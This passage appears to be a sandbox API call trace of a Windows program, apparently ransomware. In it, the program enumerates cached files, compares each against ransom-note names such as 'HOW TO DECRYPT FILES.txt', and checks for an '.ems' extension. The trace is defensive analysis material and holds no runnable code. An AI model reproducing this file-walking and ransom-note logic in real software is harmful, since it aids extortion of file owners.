cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0086.963] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.963] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned 1 [0086.963] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned 1 [0086.963] lstrcmpiA (lpString1="", lpString2="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned -1 [0086.963] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned="3130B1871A126520A8C47861EFE3ED4D" [0086.963] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.963] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.963] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.963] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.963] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D" [0086.963] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", pszSpec="*.ems") returned 0 [0086.964] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0086.964] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.964] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned 1 [0086.964] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned 1 [0086.964] lstrcmpiA (lpString1="", lpString2="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned -1 [0086.964] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D" [0086.964] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.964] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.964] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.964] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.964] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" [0086.964] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", pszSpec="*.ems") returned 0 [0086.964] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0086.964] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.965] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned 1 [0086.965] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned 1 [0086.965] lstrcmpiA (lpString1="", lpString2="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned -1 [0086.965] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" [0086.965] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.965] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.965] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.965] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.965] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398" [0086.965] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", pszSpec="*.ems") returned 0 [0086.965] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0086.965] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.965] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned 1 [0086.965] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned 1 [0086.966] lstrcmpiA (lpString1="", lpString2="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned -1 [0086.966] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398" [0086.966] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.966] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.966] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.966] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.966] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9" [0086.966] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", pszSpec="*.ems") returned 0 [0086.966] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0086.966] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.966] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned 1 [0086.966] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned 1 [0086.966] lstrcmpiA (lpString1="", lpString2="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned -1 [0086.966] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9" [0086.967] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.967] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.967] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.967] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.967] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" [0086.967] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", pszSpec="*.ems") returned 0 [0086.967] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0086.967] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.967] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned 1 [0086.967] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned 1 [0086.967] lstrcmpiA (lpString1="", lpString2="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned -1 [0086.967] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" [0086.967] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.967] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.968] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.968] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.968] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220" [0086.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", pszSpec="*.ems") returned 0 [0086.968] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0086.969] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.969] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned 1 [0086.969] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned 1 [0086.969] lstrcmpiA (lpString1="", lpString2="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned -1 [0086.969] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220" [0086.969] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.969] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.969] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT 